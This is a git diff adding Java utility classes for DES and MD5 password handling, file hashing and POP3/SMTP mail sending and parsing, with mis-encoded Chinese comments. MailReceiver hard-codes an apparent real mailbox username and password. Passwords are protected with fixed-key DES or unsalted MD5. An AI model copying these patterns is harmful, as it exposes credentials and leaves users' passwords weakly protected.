* @throws Exception + */ + public static final String decrypt(String data) { + try { + return new String(decrypt(hex2byte(data.getBytes()), PASSWORD_CRYPT_KEY.getBytes())); + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } + + /** + * 密ç åŠ å¯†. + * @param password + * å¯†ç  + * @return String + * 加密åŽçš„æ•°æ®,如果加密过程中出现异常,返回 null + */ + public static final String encrypt(String password) { + try { + return byte2hex(encrypt(password.getBytes(), PASSWORD_CRYPT_KEY.getBytes())); + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } + + /** + * å°† byte 数组转化为å六进制字符串. + * @param b + * 字节数组 + * @return String + * 字节数组转æ¢æˆçš„字符串 + */ + + public static String byte2hex(byte[] b) { + String hs = ""; + String stmp = ""; + for (int n = 0; n < b.length; n++) { + stmp = (java.lang.Integer.toHexString(b[n] & 0XFF)); + if (stmp.length() == 1) { + hs = hs + "0" + stmp; + } else { + hs = hs + stmp; + } + } + return hs.toUpperCase(); + } + + /** + * å°†å六进制字节数组转化为有符å·çš„整数字节数组 + * @param b + * 字节数组 + * @return byte[] + * 转化åŽçš„有符å·çš„整数字节数组,如果 b 的长度为奇数,抛出异常 + */ + public static byte[] hex2byte(byte[] b) { + if ((b.length % 2) != 0) { + throw new IllegalArgumentException(""); + } + byte[] b2 = new byte[b.length / 2]; + for (int n = 0; n < b.length; n += 2) { + String item = new String(b, n, 2); + b2[n / 2] = (byte) Integer.parseInt(item, 16); + } + return b2; + } + + /** + * The main method. + * @param args + * the arguments + */ + public static void main(String[] args) { + String a = DESImpl.encrypt("abc"); + System.out.println(a); + String b = DESImpl.decrypt(a); + System.out.println(b); + } +} diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/encrypt/Md5Encode.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/encrypt/Md5Encode.java new file mode 100644 index 0000000..34ab934 --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/encrypt/Md5Encode.java @@ -0,0 +1,66 @@ +/** + * Md5Encode.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.encrypt; + +import java.security.MessageDigest; + +/** + * 使用 MD5 标准对数æ®è¿›è¡ŒåŠ å¯†çš„工具类. + * @author Terry + * @version + * @since JDK1.6 + */ +public class Md5Encode { + + /** + * 构造方法. + */ + protected Md5Encode() { + throw new UnsupportedOperationException(); // prevents calls from subclass + } + + /** + * The main method. + * @param args + * the arguments + */ + public static void main(String[] args) { + String tmp = "123fadfafasfafadfafafhajkldfhdasjlkhfjlfasdf;ajs fk;lasjf ;asjf; as"; + System.out.println(encode(tmp)); + } + + /** + * 加密. + * @param s + * è¦åŠ å¯†çš„字符串 + * @return String + * 加密åŽçš„字符串 + */ + public static final String encode(String s) { + char[] hexDigits = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' }; + try { + byte[] strTemp = s.getBytes(); + MessageDigest mdTemp = MessageDigest.getInstance("MD5"); + mdTemp.update(strTemp); + byte[] md = mdTemp.digest(); + int j = md.length; + char[] str = new char[j * 2]; + int k = 0; + for (int i = 0; i < j; i++) { + byte byte0 = md[i]; + str[k++] = hexDigits[byte0 >>> 4 & 0xf]; + str[k++] = hexDigits[byte0 & 0xf]; + } + return new String(str); + } catch (Exception e) { + return null; + } + } +} diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/file/FileBasic.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/file/FileBasic.java new file mode 100644 index 0000000..01b3887 --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/file/FileBasic.java @@ -0,0 +1,79 @@ +/** + * FileBasic.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.file; + +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; + +/** + * The Class FileBasic. + * @author Terry + * @version + * @since JDK1.6 + */ +public class FileBasic { + + /** + * 构造方法. + */ + protected FileBasic() { + throw new UnsupportedOperationException(); // prevents calls from subclass + } + + /** + * 计算文件的 MD5 ç . + * @param file + * 文件对象 + * @return String + * 文件的 MD5 ç¼–ç  + * @throws NoSuchAlgorithmException + * the no such algorithm exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + public static String getMD5(File file) throws NoSuchAlgorithmException, IOException { + FileInputStream fis = null; + try { + MessageDigest md = MessageDigest.getInstance("MD5"); + fis = new FileInputStream(file); + byte[] buffer = new byte[8192]; + int length = -1; + while ((length = fis.read(buffer)) != -1) { + md.update(buffer, 0, length); + } + return bytesToString(md.digest()); + } finally { + if (fis != null) { + fis.close(); + } + } + } + + /** + * 将字节数组转æ¢ä¸ºå­—符串. + * @param data + * 字节数组 + * @return String + * 转æ¢åŽçš„字符串 + */ + public static String bytesToString(byte[] data) { + char[] hexDigits = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' }; + char[] temp = new char[data.length * 2]; + for (int i = 0; i < data.length; i++) { + byte b = data[i]; + temp[i * 2] = hexDigits[b >>> 4 & 0x0f]; + temp[i * 2 + 1] = hexDigits[b & 0x0f]; + } + return new String(temp); + } +} diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/mail/MailReceiver.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/mail/MailReceiver.java new file mode 100644 index 0000000..0673c0c --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/mail/MailReceiver.java @@ -0,0 +1,168 @@ +/** + * MailReceiver.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.mail; + +import java.security.Security; +import java.util.ArrayList; +import java.util.List; +import java.util.Properties; + +import javax.mail.Authenticator; +import javax.mail.Flags; +import javax.mail.Folder; +import javax.mail.Message; +import javax.mail.MessagingException; +import javax.mail.PasswordAuthentication; +import javax.mail.Session; +import javax.mail.Store; + +/** + * The Class MailReceiver. + * @author Terry + * @version + * @since JDK1.6 + */ +public class MailReceiver { + + /** The port. */ + private int port = 25; + + /** The user name. */ + private String userName; + + /** The password. */ + private String password; + + /** The props. */ + private Properties props; + + /** The session. */ + private Session session; + + /** The folder list. */ + private List folderList; + + /** The store. */ + private Store store; + + /** The SSL factory. */ + final String strSslFactory = "javax.net.ssl.SSLSocketFactory"; + + /** + * 使用该方法创建对象时,默认使用 POP3 邮件å议,ä¸ä½¿ç”¨ SSL 安全åè®®. + * @param host + * 邮件æœåŠ¡å™¨ï¼Œå¦‚:"mail.heartsome.net" + * @param userName + * 邮箱用户å + * @param password + * é‚®ç®±å¯†ç  + */ + public MailReceiver(String host, String userName, String password) { + this(host, "pop3", 110, userName, password, false); + } + + /** + * 构造方法. + * @param host + * 邮件æœåŠ¡å™¨ï¼Œå¦‚:"mail.heartsome.net" + * @param protocol + * 邮件åè®® + * @param port + * 端å£å· + * @param userName + * 邮箱用户å + * @param password + * é‚®ç®±å¯†ç  + * @param ssl + * 是å¦åº”用 SSL 安全åè®® + */ + public MailReceiver(String host, String protocol, int port, String userName, String password, boolean ssl) { + folderList = new ArrayList(); + props = new Properties(); + if (port != -1) { + this.port = port; + } + this.userName = userName; + this.password = password; + props.setProperty("mail.host", host); + props.setProperty("mail.store.protocol", protocol); + props.setProperty("mail." + protocol + ".port", "" + this.port); + if (ssl) { + Security.addProvider(new com.sun.net.ssl.internal.ssl.Provider()); + props.setProperty("mail." + protocol + ".socketFactory.class", strSslFactory); + props.setProperty("mail." + protocol + ".socketFactory.fallback", "false"); + props.setProperty("mail." + protocol + ".socketFactory.port", "" + this.port); + } + createSession(); + } + + /** + * 创建 Session + */ + private void createSession() { + session = Session.getInstance(props, new Authenticator() { + protected PasswordAuthentication getPasswordAuthentication() { + return new PasswordAuthentication(userName, password); + } + }); + } + + /** + * 接收邮件. + * @param expunge + * 邮件是å¦åˆ é™¤ + * @return List<Message> + * æ”¶åˆ°çš„é‚®ä»¶é›†åˆ + * @throws MessagingException + * the messaging exception + */ + public List receive(boolean expunge) throws MessagingException { + List result = new ArrayList(); + store = session.getStore(); + store.connect(); + Folder folder = store.getFolder("INBOX"); + folder.open(Folder.READ_WRITE); + for (Message message : folder.getMessages()) { + result.add(message); + //设置邮件的 DELETED 标志 + message.setFlag(Flags.Flag.DELETED, expunge); + } + folderList.add(folder); + return result; + } + + /** + * 释放资æº. + * @throws MessagingException + * the messaging exception + */ + public void releaseResource() throws MessagingException { + for (Folder folder : folderList) { + folder.close(true); + } + if (store != null) { + store.close(); + } + } + + /** + * The main method. + * @param args + * the arguments + * @throws MessagingException + * the messaging exception + */ + public static void main(String[] args) throws MessagingException { + MailReceiver receiver = new MailReceiver("mail.heartsome.net", "pop3", 110, "dv_test9@heartsome.net", + "BxKd7T00", false); + receiver.receive(false); + } + +} diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/mail/MailSender.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/mail/MailSender.java new file mode 100644 index 0000000..c93b3fc --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/mail/MailSender.java @@ -0,0 +1,376 @@ +/** + * MailSender.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.mail; + +import java.io.File; +import java.io.UnsupportedEncodingException; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Properties; + +import javax.mail.Address; +import javax.mail.Authenticator; +import javax.mail.MessagingException; +import javax.mail.PasswordAuthentication; +import javax.mail.Session; +import javax.mail.internet.AddressException; +import javax.mail.internet.InternetAddress; +import javax.mail.internet.MimeUtility; + +import org.apache.commons.mail.EmailAttachment; +import org.apache.commons.mail.EmailException; +import org.apache.commons.mail.HtmlEmail; + +import cn.org.tools.utils.string.StringUtilsBasic; + +/** + * The Class MailSender. + * @author Terry + * @version + * @since JDK1.6 + */ +public class MailSender { + + /** The port. */ + private int port = 25; + + /** The user name. */ + private String userName; + + /** The password. */ + private String password; + + /** The props. */ + private Properties props; + + /** The session. */ + private Session session; + + /** The SS l_ factory. */ + final String strSslFactory = "javax.net.ssl.SSLSocketFactory"; + + private HtmlEmail email; + + /** + * 构造方法. + * @param host + * 邮件æœåŠ¡å™¨ï¼Œå¦‚:"mail.heartsome.net" + * @param userName + * 邮箱用户å + * @param password + * é‚®ç®±å¯†ç  + */ + public MailSender(String host, String userName, String password) { + this(host, -1, userName, password); + } + + /** + * 构造方法. + * @param host + * 邮件æœåŠ¡å™¨ï¼Œå¦‚:"mail.heartsome.net" + * @param port + * 端å£å· + * @param userName + * 邮箱用户å + * @param password + * é‚®ç®±å¯†ç  + */ + public MailSender(String host, int port, String userName, String password) { + this(host, "smtp", port, userName, password, false); + } + + /** + * 构造方法. + * @param host + * 邮件æœåŠ¡å™¨ï¼Œå¦‚:"mail.heartsome.net" + * @param protocol + * 邮件åè®® + * @param port + * 端å£å· + * @param userName + * 邮箱用户å + * @param password + * é‚®ç®±å¯†ç  + * @param ssl + * 是å¦åº”用 SSL 安全åè®® + */ + public MailSender(String host, String protocol, int port, String userName, String password, boolean ssl) { + props = new Properties(); + if (port != -1) { + this.port = port; + } + this.userName = userName; + this.password = password; + props.setProperty("mail." + protocol + ".auth", "true"); + props.setProperty("mail.transport.protocol", protocol); + props.setProperty("mail.host", host); + props.setProperty("mail." + protocol + ".port", "" + this.port); + createSession(); + email = new HtmlEmail(); + email.setCharset("utf-8"); + email.setMailSession(session); + if (ssl) { + email.setSSL(true); + } + } + + /** + * 创建 session. + */ + private void createSession() { + session = Session.getInstance(props, new Authenticator() { + protected PasswordAuthentication getPasswordAuthentication() { + return new PasswordAuthentication(userName, password); + } + }); + session.setDebug(true); + } + + /** + * 设置å‘件人 + * @param from + * å‘ä»¶äººé‚®ç®±åœ°å€ + * @throws MessagingException + * @throws EmailException + */ + public void setFrom(String from) throws MessagingException, EmailException { + if (from == null) { + return; + } + Address address = new InternetAddress(from); + Map map = getEmailInfo(address.toString()); + email.setFrom(map.get("email"), map.get("name")); + } + + /** + * 设置收件人,如果有多个收件人,用逗å·åˆ†éš” + * @param to + * æ”¶ä»¶äººé‚®ç®±åœ°å€ + * @throws MessagingException + * @throws EmailException + */ + public void setTo(String to) throws MessagingException, EmailException { + if (to == null) { + return; + } + Address[] address = InternetAddress.parse(to); + for (Address i : address) { + Map map = getEmailInfo(i.toString()); + email.addTo(map.get("email"), map.get("name")); + } + } + + /** + * 设置抄é€äººï¼Œå¦‚果有多个抄é€äººï¼Œç”¨é€—å·åˆ†éš” + * @param cc + * 抄é€äººé‚®ç®±åœ°å€ + * @throws MessagingException + * @throws EmailException ; + */ + public void setCC(String cc) throws MessagingException, EmailException { + if (cc == null) { + return; + } + Address[] address = InternetAddress.parse(cc); + for (Address i : address) { + Map map = getEmailInfo(i.toString()); + email.addCc(map.get("email"), map.get("name")); + } + } + + /** + * 设置密é€äººï¼Œå¦‚果有多个密é€äººï¼Œç”¨é€—å·åˆ†éš” + * @param bcc + * 密é€äººé‚®ç®±åœ°å€ + * @throws MessagingException + * @throws EmailException ; + */ + public void setBCC(String bcc) throws MessagingException, EmailException { + if (bcc == null) { + return; + } + Address[] address = InternetAddress.parse(bcc); + for (Address i : address) { + Map map = getEmailInfo(i.toString()); + email.addBcc(map.get("email"), map.get("name")); + } + } + + /** + * 设置回å¤äººï¼Œå¦‚果有多个回å¤äººï¼Œç”¨é€—å·åˆ†éš” + * @param reply + * @throws MessagingException + * @throws EmailException ; + */ + public void setReplyTo(String reply) throws MessagingException, EmailException { + if (reply == null) { + return; + } + Address[] address = InternetAddress.parse(reply); + for (Address i : address) { + Map map = getEmailInfo(i.toString()); + email.addReplyTo(map.get("email"), map.get("name")); + } + } + + /** + * 设置主题 + * @param subject + * 主题内容 + * @throws MessagingException ; + */ + public void setSubject(String subject) throws MessagingException { + if (subject == null) { + return; + } + email.setSubject(subject); + } + + /** + * 设置å‘é€æ—¥æœŸ + * @param date + * å‘é€æ—¥æœŸ + * @throws MessagingException ; + */ + public void setSentDate(Date date) throws MessagingException { + if (date == null) { + return; + } + email.setSentDate(date); + } + + /** + * 设置è¦å‘é€çš„附件 + * @param attachment + * 附件数组 + * @throws MessagingException + * @throws UnsupportedEncodingException + * @throws EmailException ; + */ + public void setMixMail(File[] attachment) throws MessagingException, UnsupportedEncodingException, EmailException { + if (attachment != null) { + for (File file : attachment) { + EmailAttachment attach = new EmailAttachment(); + attach.setPath(file.getAbsolutePath()); + attach.setName(MimeUtility.encodeText(file.getName())); + email.attach(attach); + } + } + } + + /** + * 设置è¦å‘é€çš„附件,并对附件é‡å‘½å + * @param attachment + * 附件的集åˆï¼Œkey 为附件的å称,value为附件 + * @throws MessagingException + * @throws UnsupportedEncodingException + * @throws EmailException ; + */ + public void setMixMailRename(Map attachment) throws MessagingException, UnsupportedEncodingException, + EmailException { + if (attachment != null) { + for (String fileName : attachment.keySet()) { + EmailAttachment attach = new EmailAttachment(); + attach.setPath(attachment.get(fileName).getAbsolutePath()); + attach.setName(MimeUtility.encodeText(fileName)); + email.attach(attach); + } + } + } + + /** + * 设置邮件内容 + * @param text + * htmlæ ¼å¼çš„邮件内容 + * @throws MessagingException + * @throws EmailException ; + */ + public void setHtmlText(String text) throws MessagingException, EmailException { + if (StringUtilsBasic.checkNull(text)) { + email.setHtmlMsg(text); + } + } + + /** + * è®¾ç½®é‚®ä»¶æ¶ˆæ¯ + * @param text + * 消æ¯å†…容 + * @throws MessagingException + * @throws EmailException ; + */ + public void setText(String text) throws MessagingException, EmailException { + if (StringUtilsBasic.checkNull(text)) { + email.setMsg(text); + } + } + + /** + * å‘é€é‚®ä»¶ + * @throws EmailException ; + */ + public void send() throws EmailException { + email.send(); + } + + /** + * 过滤邮件中的收件人,抄é€äººï¼Œå¯†é€äººä¸­é‡å¤çš„邮箱地å€ï¼Œè€Œåªä¿ç•™ä¸€æ¡ + * @throws AddressException + * @throws EmailException ; + */ + @SuppressWarnings("unchecked") + public void removeDumplicate() throws AddressException, EmailException { + Address from = email.getFromAddress(); + List
    toList = MailUtils.removeDuplicate(from, email.getToAddresses()); + List
    ccList = MailUtils.removeDuplicate(from, email.getCcAddresses()); + List
    bccList = MailUtils.removeDuplicate(from, email.getBccAddresses()); + ccList = MailUtils.removeDuplicate(toList, ccList); + bccList = MailUtils.removeDuplicate(toList, bccList); + bccList = MailUtils.removeDuplicate(ccList, bccList); + + if (toList != null && toList.size() > 0) { + email.setTo(toList); + } + if (ccList != null && ccList.size() > 0) { + email.setCc(ccList); + } + if (bccList != null && bccList.size() > 0) { + email.setBcc(bccList); + } + } + + /** + * 解æžç”±å‰å°ä¼ è¿‡æ¥çš„“姓å <地å€>â€å­—符串,得到姓å和地å€é”®å€¼å¯¹ + * @param str + * “姓å <地å€>â€å­—符串 + * @return Map<String, String> + * name å’Œ email 键值对; + */ + private Map getEmailInfo(String str) { + int temp = str.indexOf("<"); + int temp1 = str.indexOf(">"); + Map map = new HashMap(); + if (temp != -1 && temp1 != -1) { + String name = str.substring(0, temp).trim(); + String email = str.substring(temp + 1, temp1).trim(); + map.put("name", name); + map.put("email", email); + } else { + int temp2 = str.indexOf("@"); + if (temp2 != -1) { + String name = str.substring(0, temp2).trim(); + map.put("name", name); + map.put("email", str); + } + } + return map; + } +} diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/mail/MailUtils.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/mail/MailUtils.java new file mode 100644 index 0000000..5510a1f --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/mail/MailUtils.java @@ -0,0 +1,248 @@ +/** + * MailUtils.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.mail; + +import java.util.Arrays; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +import javax.mail.Address; +import javax.mail.Message; +import javax.mail.MessagingException; +import javax.mail.internet.AddressException; +import javax.mail.internet.InternetAddress; + +/** + * The Class MailUtils. + * @author Terry + * @version + * @since JDK1.6 + */ +public class MailUtils { + + /** + * 构造方法. + */ + protected MailUtils() { + throw new UnsupportedOperationException(); // prevents calls from subclass + } + + /** + * 用æ¥å–å¾— Email 地å€çš„å‹å¥½ç§°å‘¼ã€‚ + * @param emailAddress + * Email åœ°å€ + * @return String + * 例如: emailAddress="John <john@test.com>" 就返回 John。 + */ + + public static String getAddressName(String emailAddress) { + String result = ""; + if (emailAddress == null) { + return result; + } + try { + InternetAddress address = new InternetAddress(emailAddress); + String text = address.getPersonal(); + if (text == null) { + result = emailAddress; + } else { + result = text; + } + } catch (AddressException e) { + e.printStackTrace(); + return emailAddress; + } + return result; + } + + /** + * 用æ¥å–å¾— Email 地å€ã€‚ + * @param emailAddress + * the email address + * @return String + * 例如: emailAddress="John <john@test.com>" 就返回 john@test.com + */ + public static String getAddress(String emailAddress) { + String result = ""; + if (emailAddress == null) { + return result; + } + try { + InternetAddress address = new InternetAddress(emailAddress); + String text = address.getAddress(); + if (text == null) { + result = emailAddress; + } else { + result = text; + } + } catch (AddressException e) { + e.printStackTrace(); + return emailAddress; + } + return result; + } + + /** + * 过滤邮件中的 From å’Œ To,使邮件ä¸å…许å‘件人和收件人一样. + * @param message + * 邮件对象 + * @throws MessagingException + * the messaging exception + */ + public static void removeDumplicate(Message message) throws MessagingException { + Address[] from = message.getFrom(); + Address[] to = message.getRecipients(Message.RecipientType.TO); + Address[] cc = message.getRecipients(Message.RecipientType.CC); + Address[] bcc = message.getRecipients(Message.RecipientType.BCC); + Address[] tonew = removeDuplicate(from, to); + Address[] ccnew = removeDuplicate(from, cc); + Address[] bccnew = removeDuplicate(from, bcc); + if (tonew != null) { + message.setRecipients(Message.RecipientType.TO, tonew); + } + if (ccnew != null) { + message.setRecipients(Message.RecipientType.CC, ccnew); + } + if (bccnew != null) { + message.setRecipients(Message.RecipientType.BCC, bccnew); + } + } + + /** + * 过滤邮件中的 From å’Œ To,使邮件ä¸å…许å‘件人和收件人一样. + * @param from + * å‘件人,多个å‘件人以逗å·åˆ†éš” + * @param to + * 收件人,多个收件人以逗å·åˆ†éš” + * @return Address[] + * 收件人数组中过滤掉é‡å¤çš„å‘件人信æ¯åŽå‰©ä½™çš„é›†åˆ + * @throws AddressException + * 解æžå‘件人或收件人失败时抛出该异常 + */ + public static Address[] removeDuplicate(String from, String to) throws AddressException { + return removeDuplicate(InternetAddress.parse(from), InternetAddress.parse(to)); + } + + /** + * 过滤邮件中的 From å’Œ To,使邮件ä¸å…许å‘件人和收件人一样. + * @param from + * å‘件人数组 + * @param to + * 收件人 + * @return Address[] + * 收件人数组中过滤掉é‡å¤çš„å‘件人信æ¯åŽå‰©ä½™çš„é›†åˆ + * @throws AddressException + * 解æžæ”¶ä»¶äººå¤±è´¥æ—¶æŠ›å‡ºè¯¥å¼‚常 + */ + public static Address[] removeDuplicate(Address[] from, String to) throws AddressException { + return removeDuplicate(from, InternetAddress.parse(to)); + } + + /** + * 过滤邮件中的 From å’Œ To,使邮件ä¸å…许å‘件人和收件人一样. + * @param from + * å‘ä»¶äººåœ°å€ + * @param to + * 收件人地å€é›†åˆ + * @return List<Address> + * 收件人数组中过滤掉é‡å¤çš„å‘件人信æ¯åŽå‰©ä½™çš„集åˆã€‚如果 from 或 to 为 null,返回 to + * @throws AddressException + * 解æžå¤±è´¥æ—¶æŠ›å‡ºè¯¥å¼‚常 + */ + public static List
    removeDuplicate(Address from, List
    to) throws AddressException { + if (from == null) { + return to; + } + Address[] result = new Address[to.size()]; + Address[] removed = removeDuplicate(new Address[]{from}, to.toArray(result)); + if (removed == null) { + return to; + } + return Arrays.asList(removed); + } + + /** + * 过滤邮件中的 From å’Œ To,使邮件ä¸å…许å‘件人和收件人一样. + * @param from + * å‘ä»¶äººé›†åˆ + * @param to + * æ”¶ä»¶äººé›†åˆ + * @return List<Address>> + * 收件人数组中过滤掉é‡å¤çš„å‘件人信æ¯åŽå‰©ä½™çš„集åˆã€‚如果 from 为 null,返回 to;如果 to 为 null,返回 null + */ + public static List
    removeDuplicate(List
    from, List
    to) { + if (from == null) { + return to; + } + if (to == null) { + return null; + } + Address[] fromArray = new Address[from.size()]; + Address[] toArray = new Address[to.size()]; + from.toArray(fromArray); + to.toArray(toArray); + Address[] result = removeDuplicate(fromArray, toArray); + return Arrays.asList(result); + } + + /** + * 过滤邮件中的 From å’Œ To,使邮件ä¸å…许å‘件人和收件人一样. + * @param from + * å‘件人数组 + * @param to + * 收件人数组 + * @return Address[] + * 收件人数组中过滤掉é‡å¤çš„å‘件人信æ¯åŽå‰©ä½™çš„集åˆã€‚如果 from 为 null,返回 to;如果 to 为 null,返回 null + */ + public static Address[] removeDuplicate(Address[] from, Address[] to) { + if (from == null) { + return to; + } + if (to == null) { + return null; + } + Set
    fromSet = new HashSet
    (); + Set
    toSet = new HashSet
    (); + for (Address address : from) { + fromSet.add(address); + } + for (Address address : to) { + toSet.add(address); + } + toSet.removeAll(fromSet); + InternetAddress[] address = new InternetAddress[toSet.size()]; + toSet.toArray(address); + return address; + } + + /** + * 检查 email 地å€æ˜¯å¦æœ‰æ•ˆ(此方法无æ„义,请勿使用该方法,应该删除或者é‡æ–°å†™é€»è¾‘). + * @param address + * è¦æ£€æŸ¥çš„ email åœ°å€ + * @return boolean + * true:地å€æœ‰æ•ˆ + */ + public static boolean isValidAddress(String address) { + return true; + } + + /** + * The main method. + * @param args + * the arguments + * @throws AddressException + * the address exception + */ + public static void main(String[] args) throws AddressException { + System.out.println(new InternetAddress("a asdf").getAddress()); + } + +} diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/mail/MessageParser.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/mail/MessageParser.java new file mode 100644 index 0000000..c3bc7d1 --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/mail/MessageParser.java @@ -0,0 +1,456 @@ +/** + * MessageParser.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.mail; + +import java.io.ByteArrayInputStream; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.IOException; +import java.io.InputStream; +import java.util.ArrayList; +import java.util.List; +import java.util.Properties; + +import javax.mail.Message; +import javax.mail.MessagingException; +import javax.mail.Multipart; +import javax.mail.Part; +import javax.mail.Session; +import javax.mail.internet.InternetAddress; +import javax.mail.internet.MimeMessage; +import javax.mail.internet.MimeUtility; + +import org.apache.xerces.dom.CoreDocumentImpl; +import org.cyberneko.html.parsers.DOMFragmentParser; +import org.w3c.dom.DocumentFragment; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.xml.sax.InputSource; + +/** + * The Class MessageParser. + * @author Terry + * @version + * @since JDK1.6 + */ +public class MessageParser { + + /** The message. */ + private Message message; + + /** The text buffer. */ + private StringBuffer textBuffer; + + /** The max arrow. */ + private int maxArrow = 0; + + /** The text charset. */ + private String textCharset = "UTF-8"; + + /** The html resource. */ + private ResourceFileBean htmlResource; + + /** + * 构造方法. + * @param message + * Message 对象 + */ + public MessageParser(Message message) { + this.message = message; + } + + /** + * 获得消æ¯çš„å‘件人. + * @return String + * å‘ä»¶äººåœ°å€ + * @throws MessagingException + * the messaging exception + */ + public String getFrom() throws MessagingException { + return InternetAddress.toString(message.getFrom()); + } + + /** + * 获得收件人地å€ä¿¡æ¯. + * @return String + * æ”¶ä»¶äººåœ°å€ + * @throws MessagingException + * the messaging exception + */ + public String getTo() throws MessagingException { + return InternetAddress.toString(message.getRecipients(Message.RecipientType.TO)); + } + + /** + * 获得抄é€äººåœ°å€ä¿¡æ¯. + * @return String + * 抄é€äººåœ°å€ + * @throws MessagingException + * the messaging exception + */ + public String getCc() throws MessagingException { + return InternetAddress.toString(message.getRecipients(Message.RecipientType.CC)); + } + + /** + * 获得回å¤äººåœ°å€ä¿¡æ¯. + * @return String + * 回å¤äººåœ°å€ + * @throws MessagingException + * the messaging exception + */ + public String gerReplayTo() throws MessagingException { + return InternetAddress.toString(message.getReplyTo()); + } + + /** + * 获得消æ¯çš„主题. + * @return String + * 主题内容. + * @throws MessagingException + * the messaging exception + */ + public String getSubject() throws MessagingException { + return message.getSubject(); + } + + /** + * 获å–消æ¯é™„件中的文件. + * @return List<ResourceFileBean> + * 文件的集åˆ(æ¯ä¸ª ResourceFileBean 对象中存放文件åå’Œ InputStream 对象) + * @throws MessagingException + * the messaging exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + public List getFiles() throws MessagingException, IOException { + List resourceList = new ArrayList(); + Object content = message.getContent(); + Multipart mp = null; + if (content instanceof Multipart) { + mp = (Multipart) content; + } else { + return resourceList; + } + for (int i = 0, n = mp.getCount(); i < n; i++) { + Part part = mp.getBodyPart(i); + //此方法返回 Part 对象的部署类型。 + String disposition = part.getDisposition(); + //Part.ATTACHMENT 指示 Part 对象表示附件。 + //Part.INLINE 指示 Part 对象以内è”æ–¹å¼æ˜¾ç¤ºã€‚ + if ((disposition != null) && ((disposition.equals(Part.ATTACHMENT) || (disposition.equals(Part.INLINE))))) { + //part.getFileName():返回 Part 对象的文件å。 + String fileName = MimeUtility.decodeText(part.getFileName()); + //此方法为 Part 对象返回一个 InputStream 对象 + InputStream is = part.getInputStream(); + resourceList.add(new ResourceFileBean(fileName, is)); + } else if (disposition == null) { + //附件也å¯ä»¥æ²¡æœ‰éƒ¨ç½²ç±»åž‹çš„æ–¹å¼å­˜åœ¨ + getRelatedPart(part, resourceList); + } + } + return resourceList; + } + + /** + * 获å–消æ¯é™„件中的文件. + * @param part + * Part 对象 + * @param resourceList + * 文件的集åˆ(æ¯ä¸ª ResourceFileBean 对象中存放文件åå’Œ InputStream 对象) + * @throws MessagingException + * the messaging exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void getRelatedPart(Part part, List resourceList) throws MessagingException, IOException { + //éªŒè¯ Part 对象的 MIME 类型是å¦ä¸ŽæŒ‡å®šçš„类型匹é…。 + if (part.isMimeType("multipart/related")) { + Multipart mulContent = (Multipart) part.getContent(); + for (int j = 0, m = mulContent.getCount(); j < m; j++) { + Part contentPart = mulContent.getBodyPart(j); + if (!contentPart.isMimeType("text/*")) { + String fileName = "Resource"; + //此方法返回 Part 对象的内容类型。 + String type = contentPart.getContentType(); + if (type != null) { + type = type.substring(0, type.indexOf("/")); + } + fileName = fileName + "[" + type + "]"; + if (contentPart.getHeader("Content-Location") != null + && contentPart.getHeader("Content-Location").length > 0) { + fileName = contentPart.getHeader("Content-Location")[0]; + } + InputStream is = contentPart.getInputStream(); + resourceList.add(new ResourceFileBean(fileName, is)); + } + } + } else { + Multipart mp = null; + Object content = part.getContent(); + if (content instanceof Multipart) { + mp = (Multipart) content; + } else { + return; + } + for (int i = 0, n = mp.getCount(); i < n; i++) { + Part body = mp.getBodyPart(i); + getRelatedPart(body, resourceList); + } + } + } + + /** + * å–得纯文本的邮件内容,如果邮件是 HTML æ ¼å¼çš„,则会过滤 HTML 标签åŽè¿”回。. + * @return String + * 纯文本的邮件内容 + */ + public String getPlainText() { + try { + String content = getText(message); + return htmlToText(content); + } catch (MessagingException e) { + e.printStackTrace(); + return ""; + } catch (IOException e) { + e.printStackTrace(); + return ""; + } + } + + /** + * å–得文本内容,如果邮件是 HTML æ ¼å¼çš„,则会返回所有 HTML 标签. + * @param p + * Part 对象 + * @return String + * 